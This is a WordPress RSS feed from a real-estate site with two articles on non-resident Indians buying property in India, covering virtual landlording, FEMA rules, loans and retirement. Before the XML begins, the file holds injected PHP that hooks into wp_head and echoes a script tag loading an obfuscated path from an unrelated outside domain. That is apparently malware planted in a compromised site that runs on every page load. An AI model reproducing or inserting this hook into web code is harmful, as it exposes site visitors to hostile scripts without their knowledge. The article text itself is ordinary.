/**<js>*/function add_my_script() {
   echo '<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NRIs Archives -</title>
	<atom:link href="https://www.thebuyt.com/tag/nris/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thebuyt.com/tag/nris/</link>
	<description></description>
	<lastBuildDate>Sun, 21 Aug 2022 12:10:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://www.thebuyt.com/wp-content/uploads/2020/07/cropped-icon-32x32.png</url>
	<title>NRIs Archives -</title>
	<link>https://www.thebuyt.com/tag/nris/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>NRI’s Increasing Interest In India’s Real Estate  Is Making Them Virtual Landlord</title>
		<link>https://www.thebuyt.com/nris-increasing-interest-in-indias-real-estate/</link>
					<comments>https://www.thebuyt.com/nris-increasing-interest-in-indias-real-estate/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Sun, 21 Aug 2022 12:10:52 +0000</pubDate>
				<category><![CDATA[Investment]]></category>
		<category><![CDATA[Indian real estate]]></category>
		<category><![CDATA[NRIs]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=4699</guid>

					<description><![CDATA[<p>The Buyt  Off late NRIs are investing in properties in India as the interest rates were low during pandemic buying properties was a lucrative option and also as their retirement home in India. Indians have always considered investing in real estate a good deal and believe that every family should own at least one property. [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/nris-increasing-interest-in-indias-real-estate/">NRI’s Increasing Interest In India’s Real Estate  Is Making Them Virtual Landlord</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p dir="ltr"><strong>The Buyt </strong></p>
<p dir="ltr">Off late NRIs are investing in properties in India as the interest rates were low during pandemic buying properties was a lucrative option and also as their retirement home in India.</p>
<p dir="ltr">Indians have always considered investing in real estate a good deal and believe that every family should own at least one property. This mindset is passed on from generations. <a href="https://www.thebuyt.com/should-nris-invest-in-immovable-properties-in-india/">Even NRIs are interested in investing in Indian real estate</a> as most want to spend their post retirement life in India. During COVID pandemic, interest rates were record low and rupee was weaker and this attracted many NRIs to buy properties in India.</p>
<h4 dir="ltr">Why are NRIs investing in Indian properties?</h4>
<p dir="ltr"><strong>Ease of buying &#8211;</strong> Maybe a decade back it was a little difficult for NRIs to buy property in India being in another country. But now that is not the case because of internet and online business technology. Even the difficult /remote places can be reached now because the advanced internet and technology has brought down everything to click of a button.</p>
<p dir="ltr"><strong>Safe bet &#8211;</strong> For investment purposes, real estate is considered a safe bet by Indians for generations. Even NRIs find it lucrative to invest in immobile assets in India.</p>
<p dir="ltr"><strong>Emotional reasons –</strong> NRIs despite staying in other countries want to move back to India at least post retirement if not sooner. It is the emotional attachment to mother land and family back in India.</p>
<p dir="ltr"><strong>Financial reasons &#8211;</strong> Non-Resident Indians investing in real estate in India have the associated tax benefits. Investing in Indian rupees is profitable to them compared to the currency of the country they stay in. The COVID pandemic has made rupee weaker and also interest rates the lowest this has made buying properties in India a lucrative option for NRIs.</p>
<h4 dir="ltr">What challenges do NRIs face while investing in properties in India?</h4>
<p dir="ltr">Buying property in India sitting elsewhere needs adequate research, effort, time and maintenance. It starts from finding the right property, good seller, good terms and conditions, preparing it, finding the right tenants or person to take care of the property. The other issues include lack of transparency, legal complications, complexity in taxations, maintenance of the property, tenancy maintenance and more. There are organizations that help NRIs buy and maintain properties in India. These are known as proptech companies.</p>
<h4 dir="ltr">What is Virtual Landlording?</h4>
<p dir="ltr">Owning property can generate consistent income and help to increase wealth. But this same act also brings the long-term responsibility of maintaining it. Not living near the properties in India will make maintenance of the property a big task. It is either relatives or reliable friends in India who help NRIs to maintain their properties in India. These are vested with the power of attorney so that they can execute and advise around major decisions when the owner is not around. From buying, selling, renting out, rent agreements, painting, maintenance, to navigating tax regime changes they do the entire job for owners. If you do not have friends or relatives to take up this job for you then hire professionals from organizations that help NRIs buy and maintain properties in India.</p>
<p dir="ltr">Virtual landlording is being the owner of a real estate asset and earning the rental income along with capital appreciation without having to physically be there to manage and protect the asset. Professionals manage the assets for property owners. They are real estate industry experts who are responsible for the identification, due diligence, acquisition, maintenance, leasing and securing exits for you. The property owner needs to pay them a management fee and a percentage of the returns earned from property.</p>
<h4 dir="ltr">Why is there rise in Virtual Landlording?</h4>
<p dir="ltr">Currently, the Indian government has not restricted NRIs and OCIs on the number of immovable properties they can hold. Also the government has provided many benefits for NRIs owning or buying property in India including zero tax implications at the time of acquisition. This is the reason that many property technology (proptech) companies are coming up and also there is a significant increase in enquiries for investments from NRIs in these companies. These help property owners to onboard tenants virtually with property images and video walkthroughs even when physically not around in the country. The comprehensive property management by protech companies has given a boost to Virtual Landlording for NRIs. These companies provide a robust service in the market not just by maintaining the properties in India of NRIs across the world, but also protect the properties from becoming a liability (financially and mentally) to the NRI owners. They help NRIs to generate an easy source of regular income through rent and means of generating wealth.</p>
<p>The post <a href="https://www.thebuyt.com/nris-increasing-interest-in-indias-real-estate/">NRI’s Increasing Interest In India’s Real Estate  Is Making Them Virtual Landlord</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/nris-increasing-interest-in-indias-real-estate/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Should NRIs invest in immovable properties in India?</title>
		<link>https://www.thebuyt.com/should-nris-invest-in-immovable-properties-in-india/</link>
					<comments>https://www.thebuyt.com/should-nris-invest-in-immovable-properties-in-india/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Sat, 20 Aug 2022 09:01:30 +0000</pubDate>
				<category><![CDATA[Investment]]></category>
		<category><![CDATA[Kaam Ki Baat]]></category>
		<category><![CDATA[NRIs]]></category>
		<category><![CDATA[NRIs are eligibl]]></category>
		<category><![CDATA[NRIs are eligible to buy]]></category>
		<category><![CDATA[NRIs invest]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=4695</guid>

					<description><![CDATA[<p>The Buyt Desk  NRIs are eligible to buy or own immovable properties in India. Indians consider this investment most valuable. But is it a good idea to invest in Indian Real Estate? Investment in immovable property is considered a good investment in India. NRIs cannot escape this belief system. In compliance with the FEMA (Foreign [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/should-nris-invest-in-immovable-properties-in-india/">Should NRIs invest in immovable properties in India?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p dir="ltr"><strong>The Buyt Desk </strong></p>
<p dir="ltr">NRIs are eligible to buy or own immovable properties in India. Indians consider this investment most valuable. But is it a good idea to invest in Indian Real Estate?</p>
<p dir="ltr">Investment in immovable property is considered a good investment in India. NRIs cannot escape this belief system. In compliance with the FEMA (Foreign Exchange Management Act) regulations, NRIs buy or own property in India.</p>
<h4 dir="ltr">Indian Real Estate</h4>
<p dir="ltr">For Indians be it, residents or Non-residents, investing in the Indian real estate sector has always been a personal favourite. Elders believed in buying lands and the same culture is passed on to generations. Irrespective of where NRIs reside, buying properties in India is a must for most. Maybe it is a feeling of attachment to their homeland. In compliance with the FEMA (Foreign Exchange Management Act) regulations, there is a provision for NRIs to buy or own immovable properties in India.</p>
<p dir="ltr">In the Indian law system, it is easy for NRIs to invest their funds in any immovable property in India as there are not many legal formalities for NRIs. They just need to go through registration procedures in real estate.</p>
<h4 dir="ltr">Why should NRIs consider investing in immovable property in India?</h4>
<p dir="ltr">Real estate investment must be always done carefully as the chances of scams are very high. It should be well planned, and properly assessed and only after confirmation should be put into practice. Generally, NRIs are opportunistic and smart in their investment decisions.</p>
<p dir="ltr"><strong>Indian Laws &#8211;</strong> Now that the Indian government has updated rules and given relaxations to NRI real estate investors, buying real estate in<a href="https://www.thebuyt.com/when-do-nris-have-to-file-income-tax-return/"> India is very easy for NRIs.</a> The government of India and the Reserve Bank of India are emphasizing the need to increase NRI property investment in India. And also have plans to streamline NRI&#8217;s ability to purchase more real estate. As per Indian laws, NRIs are allowed to invest in any immovable property in India but not agricultural land, plantation property or a farmhouse. Only residents can buy cultivation lands for agriculture purposes.</p>
<p dir="ltr"><strong>Banking &#8211;</strong> In India, banking laws are also encouraging NRIs who want to invest in immovable property in India. With very few terms and conditions, real estate loans are available through leading financial institutions for NRIs. Under this, loans can be availed for buying lands, renovation of the property, construction, purchasing a dwelling unit or buying a commercial property. EMIs can be paid by transferring funds from a foreign land.</p>
<p dir="ltr"><strong>Retirement plan &#8211;</strong> Few foreigner invest in immovable properties as their retirement plan. When the NRIs wish to return back to India, this property will serve them as retirement homes.</p>
<p dir="ltr"><strong>Returns &#8211;</strong> Investment in the immovable property be it land or constructed property, is always precious in India. Considering the current expanding economy, NRIs increased disposable incomes and lowered interest rates have attracted many NRIs to invest in immovable property in India. Returns are good in Indian real estate.</p>
<p dir="ltr"><strong>Legal matters &#8211; </strong></p>
<ol>
<li dir="ltr">
<p dir="ltr" role="presentation">NRI must comply with income tax regulations if he /she is earning a rental income from the property.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">NRI’s investment in real estate projects in India is exempted from any major legal requirements.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">NRI may transfer immovable property to a person who is an Indian resident, NRI or a person of Indian origin residing outside of India.</p>
</li>
</ol>
<p dir="ltr"><strong>Summing up</strong></p>
<p dir="ltr">With so many benefits NRI should consider investing in immovable property in India. Just be cautious when selecting the property and dealing with the seller. Legal formalities are all eased out for NRIs buying or owning immovable property in India.</p>
<p dir="ltr"><strong>Happy Investing.</strong></p>
<p>The post <a href="https://www.thebuyt.com/should-nris-invest-in-immovable-properties-in-india/">Should NRIs invest in immovable properties in India?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/should-nris-invest-in-immovable-properties-in-india/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>